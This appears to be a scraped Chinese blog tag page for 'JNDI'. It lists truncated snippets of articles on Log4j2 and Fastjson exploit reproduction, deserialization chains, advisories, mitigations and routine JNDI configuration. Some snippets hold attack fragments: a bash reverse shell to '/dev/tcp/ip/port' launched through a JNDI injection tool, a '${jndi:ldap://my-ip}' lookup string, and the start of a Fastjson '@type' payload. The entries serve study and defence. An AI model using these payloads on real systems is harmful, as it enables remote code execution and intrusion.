JNDI

Apache Log4j2 RCE漏洞复现

影响版本：ApacheLog4j2.x&/dev/tcp/ip/port0>&1//需要base64加密java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C"bash-c
天猫来下凡·2023-01-05 15:52

【Web安全】Ysoserial 简单利用

找到序列化接口3.2漏洞利用3.2.1常用命令3.2.2使用案例4.Ysoserial攻击原理问题参考1.Java反序列化特征在日志中，特征通常表现为请求格式Json、xml、soap、二进制关键字：rmi、jndi
Buffedon·2023-01-03 10:55

视频教程-基于Servlet+JDBC+Bootstrap+MySQL+AJAX权限管理系统实战教程-Java

熟练掌握J2EE平台开发技能，包括CoreJava、Servlet、SSH、JSP、EJB、JNDI、JDBC、JTS等技术刘英杰¥501.00立即订阅扫码下载「C
weixin_28996193·2022-12-28 18:18

fastjson远程代码执行漏洞

漏洞学习记录免责声明：Fastjson1.2.24远程代码执行漏洞漏洞说明前提条件影响范围漏洞复现Fastjson=1.2.25默认为false）{"@type":"org.apache.shiro.jndi.JndiObjectFactory
知冰QAQ·2022-12-27 07:38

Fastjson 1.2.24 反序列化导致任意命令执行漏洞

Fastjson1.2.24反序列化前言0x00漏洞原理0x01影响版本0x02环境搭建0x03漏洞复现前言JNDIJNDI是Java命名与目录接口（JavaNamingandDirectoryInterface
TheK403·2022-12-27 07:33

【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程

文章目录前言漏洞环境搭建漏洞利用复现处理json时发生反序列化JNDI注入反弹shell总结前言Fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将JavaBean序列化为
Cgxx·2022-12-27 07:25

Web服务器---Tomcat

包含13箱技术规范：JDBC、JNDI、EJB、RMI、JSP、Servlet、XML、JMS、JavaIDL、JTS、JTA、JavaM
农夫与茶·2022-12-25 06:18

Apache Log4j2远程代码执行漏洞风险紧急通告，腾讯安全支持全面检测拦截

漏洞描述：腾讯安全注意到，一个ApacheLog4j2反序列化远程代码执行漏洞细节已被公开，Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码
腾讯安全·2022-12-23 21:39

快速处理 log4j2 漏洞

jarname=[目标log4j2jar]zip-q-d$jarnameorg/apache/logging/log4j/core/lookup/JndiLookup.class以上就暂时移除了有风险的
bee_yyy·2022-12-21 04:37

度中心度（Degree Centrality）

2、公式无向图顶点viv_ivi的度中心度CdC_dCd：Cd(vi)=∑i=1,i≠jndijC_d(v_i)=\displaystyle\sum^{n}_{i=1,i≠j}d_{ij}Cd(vi)=
rsh_whu·2022-12-15 07:22

JAVA面试微总结

容器框架；-常见的配置方式-基于XML的配置-基于注解的配置-基于Java的配置-SpringCore：核心类库，提供IOC服务-SpringContext：提供框架式的Bean访问方式，以及企业级功能（JNDI
锦辉．M.y·2022-12-13 18:40

SpringBoot升级指定jackson版本的问题

【漏洞通告】2月19日，NVD发布安全通告披露了jackson-databind由JNDI注入导致的远程代码执行漏洞（CVE-2020-8840），CVSS评分为9.8。
·2022-12-11 18:31

rmi 反序列化漏洞_Java安全之RMI反序列化

Java安全之RMI反序列化0x00前言在分析Fastjson漏洞前，需要了解RMI机制和JNDI注入等知识点，所以本篇文来分析一下RMI机制。
刘嘉耿·2022-12-09 07:42

Spring实战之JavaConfig方式多环境与profile配置

如：开发环境：我们需要嵌入式数据库生产环境：我们需要使用JNDI从容器中获取
小蜗牛的路·2022-12-06 07:45

肝了一个月的后端知识点长啥样？

SpringContext：继承BeanFactory，提供上下文信息，扩展出JNDI、EJB、电子邮件、国际
程序员乔戈里·2022-12-05 07:29

Fastjson 1.2.68版本Autotype绕过技巧

可造成信息泄露绕过类对象的访问利用条件Gadget必须继承自Throwable异常类漏洞概述该漏洞和以往的AutoTypeBypass不同，要求Gadget必须继承自Throwable异常类，所以常见的JNDIGadget
FLy_鹏程万里·2022-12-04 23:19

高危漏洞 log4j漏洞，产生原因和解决方案

高危漏洞log4j漏洞，产生原因和解决方案2021年12月09日，360CERT监测发现ApacheLog4j2存在JNDI远程代码执行，漏洞等级：严重，漏洞评分：9.8。
失落的爱·2022-12-03 15:05

【漏洞复现】Fastjson反序列化

Fastjson反序列化一、简介二、序列化与反序列化三、Fastjson漏洞介绍1、漏洞原理2、RMI3、JNDI4、JEP290四、编写的简单测试的环境五、漏洞版本1、fastjsonconnect(
拈花倾城·2022-11-23 12:19

一次基于Fastjson的JNDI注入

1.Fastjson介绍Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSONParse的性能提升到极致，是目前Java语言中最快的JSON库。Fastjson接口简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。主要特点：1.快速FAST(比其它任何基于Java的解析器和生成器更快，包括j
kali_Ma·2022-11-10 09:50

log4j反序列化漏洞详解及利用

2.JNDI是什么？  
cs阿坤dn·2022-11-07 10:00

Log4j远程代码执行漏洞（CVE-2021-44228）漏洞复现

原理简述当log4j打印的日志内容中包含${jndi:ldap://my-ip}时，程序就会通过ldap协议访问my-ip这个地址，然后my-ip就会返回一个包
rpsate·2022-10-15 07:19

OSCS开源安全周报第7期：本周投毒对象均为 NPM 仓库

本周安全态势综述OSCS社区共收录安全漏洞33个，公开漏洞值得关注的是ApacheFlume存在JNDI注入漏洞（CVE-2022-34916），ApacheAirflowDockerProvider<
开源生态安全OSCS·2022-10-12 21:44

Java反序列化之C3P0链学习

0x01前言再多打一点基础吧，后续打算先看一看XStream，Weblogic，strusts2这些个0x02C3P0组件介绍C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3
·2022-10-11 11:11

安全漏洞之Log4j2漏洞复现绕过分析

2021-44228CVSS评分：10.0（最高只能10分）POC比较简单publicstaticvoidmain(String[]args)throwsException{logger.error("${jndi
kali_Ma·2022-10-10 07:44

SpringBoot DataSource数据源实现自动配置流程详解

DataSourceAutoConfiguration类2、DataSourceTransactionManagerAutoConfiguration类3、JdbcTemplateAutoConfiguration类4、JndiDataSourceAutoConfiguration
·2022-10-04 19:35

浅谈Java安全之C3P0的使用

C3P0GadgetC3P0中有三种利用方式httpbaseJNDIHEX序列化字节加载器下面来一点点看他们究竟是怎样使用的。
·2022-10-01 05:42

Java之RMI和JNDI

由于最近的log4j和fastjson频频曝出JNDI漏洞危机，觉得有必要学习jndi和rmi1RMI1.1rmi概念RMI是用Java在JDK1.2中实现的，它大大增强了Java开发分布式应用的能力，
上善若泪·2022-09-14 10:18

视频教程-Java程序员面试宝典之JavaSE视频课程-Java

熟练掌握J2EE平台开发技能，包括CoreJava、Servlet、SSH、JSP、EJB、JNDI、JDBC、JTS等技术刘英杰¥39.00立即订阅扫码下载「CSDN程序员学院APP」，1000+技术好课免费
weixin_29258925·2022-09-09 13:11

log4j2漏洞原理和漏洞环境搭建复现

目录1.背景1.1影响版本2.漏洞原理2.1JNDI是什么2.2LDAP是什么2.3JNDI注入原因2.4log4j2是什么3.漏洞复现3.1准备工作3.1.1准备恶意代码3.1.2将恶意代码放到网站目录下
糊涂是福yyyy·2022-09-01 10:01

log4j2远程执行代码漏洞.md

前情提要上周，ApacheLog4j2爆出高危漏洞（CVE-2021-44228）：Log4j2组件存在JNDI注入漏洞，漏洞利用门槛低，即可利用该漏洞在目标服务器上执行任意代码。
·2022-08-27 14:50

OSCS开源安全周报第7期：本周投毒对象均为 NPM 仓库

本周安全态势综述OSCS社区共收录安全漏洞33个，公开漏洞值得关注的是ApacheFlume存在JNDI注入漏洞（CVE-2022-34916），ApacheAirflowDockerProvider<
·2022-08-22 19:51

黑马就业班——mybatis框架：part3 -- mybatis的深入和多表

mybatis_day02_datasource、mybatis_day03_dynamicSQL、mybatis_day03_one2many、mybatis_day03_many2many、mybatis_day03_jndi
KongJetLin·2022-08-21 22:49

Apache Log4j2远程代码执行漏洞（CVE-2021-44228）漏洞复现

文章目录0x00漏洞简介0x01影响范围0x02环境搭建（Vulhub）0x03Dnslog出网测试0x04JNDI注入反弹shell0x00漏洞简介ApacheLog4j是Apache的一个开源项目，
A丶R·2022-08-16 19:08

Tomcat 源码解析一JNDI

  JNDI属于JEE规范范畴，是JEE的核心技术之一，它提供了一级接口，类和关于命名空间的概念，JNDI是基于提供商技术，它暴露了一个API和一个服务供应接口（SPI）,它将名称和对象联系起来，使我们可以用名称访问对象
黄裳_8888·2022-08-12 10:01

CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞

近期LOG4J围绕JNDI的安全漏洞频繁暴雷，着实让小伙伴们忙活了一阵。本文我们就一起来看下，CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞。
明哥的IT随笔·2022-07-29 09:15

spring boot 多数据源+jndi+H2

springboot多数据源+jndi+H2类DataSourceConfig类JpafirstConfiguration类JpasecondConfigurationyml文件类DataSourceConfig
~newbie~·2022-07-26 16:33

JNDI Datasource HOW-TO（Tomcat 9）

一、介绍JNDI数据源配置在JNDI-Resources-HOWTO中得到广泛的覆盖。但是，反馈表明，单个配置的具体细节可能相当棘手。
hailushijie·2022-07-26 10:24

JNDI Resources HOW-TO（Tomcat 9）

1、介绍Tomcat为在其下运行的每个Web应用程序提供了一个JNDIInitialContext实现实例，其方式与JavaEnterpriseEdition应用程序服务器提供的方式兼容。
hailushijie·2022-07-26 10:54

hive 使用 jndi 数据源时已经在 Tomcat 中配置好 但是在 java 代码中获取数据源就会报错

这个是异常信息javax.naming.NoInitialContextException:Needtospecifyclassnameinenvironmentorsystemproperty,orasanappletparameter,orinanapplicationresourcefile:java.naming.factory.initialatjavax.naming.spi.Nami
格格巫 MMQ!!·2022-07-25 16:28

终结篇：MyBatis原理深入解析（二）

DataSource分类##MyBatis数据源实现是在以下四个包中：MyBatis数据源实现包MyBatis把数据源DataSource分为三种：UNPOOLED不使用连接池的数据源POOLED使用连接池的数据源JNDI
奋斗成就男人·2022-07-20 13:19

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

文章目录环境fastjson介绍漏洞原理反序列化漏洞一影响版本基于JNDI注入的利用链调试一下基于JdbcRowSetImpl的利用链JNDILDAP限制JNDI+RMI利用JNDI+LDAP利用调试一下补丁与绕过补丁分析绕过方式反序列化漏洞二影响版本和限制利用链不开启
5wimming·2022-07-13 09:10

微服务架构 | 负载均衡 - [OpenFeign]

）日志OpenFeign的负载均衡规则简介Feign≈RestTemplate+RibbonOpenFeign≈Feign+MVC支持OpenFeign通过接口，而非协议访问服务提供方类似Dubbo/JNDI
问仙长何方蓬莱·2022-07-12 13:27

Java中上下文 Context的理解

我们常见的上下文有Servlet中的pageContext，访问JNDI时候用的Context。其实他们真正的作用就是承上启下。
人间失格*·2022-06-27 21:30

韩顺平Servlet和Jsp学习笔记

2.Java命名和目录接口(JNDI)【它是为了
5peak2me·2022-05-21 18:20

java过滤器命名_Java命名目录接口(JNDI)教程

命名和目录操作您可以使用JNDI执行以下操作：读取操作和更新命名空间的操作。
weixin_39724469·2022-05-19 07:20

浅谈Java安全之C3P0链利用与分析

目录0x00前言0x01利用方式利用方式httpbase使用0x02C3P0分析构造分析利用分析HEX序列化字节加载器JNDI利用0x03结尾0x00前言在一些比较极端情况下，C3P0链的使用还是挺频繁的
·2022-05-17 13:44

JNDI具体用法详解

JNDI全称(JavaNamingandDirectoryInterface)，是java命名和目录接口。
·2022-05-05 12:54

Failed to scan JAR [jndi:/localhost/WEB-INF/lib/oracle-jdbc-9.2.0.8.jar]

1.Tomcat8的报错：UnmappedSpringconfigurationfilesfound.FailedtoscanJAR[jndi:/localhost/WEB-INF/lib/oracle-jdbc
茉莉花茶·2022-04-26 09:02

C3P0反序列化链学习

C3P0c3p0第一次听闻是用于fastjson的回显上，大佬们总结三种方法，后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)httpbasejndihex序列化字节加载器
akka1·2022-04-20 22:00

Fastjson tomcat-dhcp链

Fastjsontomcat-dbcp链这条链可直接回显，可以解决fastjson在内网的情况，因为很多实战的时候，fastjson的应用部署在内网，只映射一个端口出来，导致前面学习的jdbcRowImpl链的jndi
akka1·2022-04-20 16:00
上一页 2 3 4 5 6 7 8 9 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他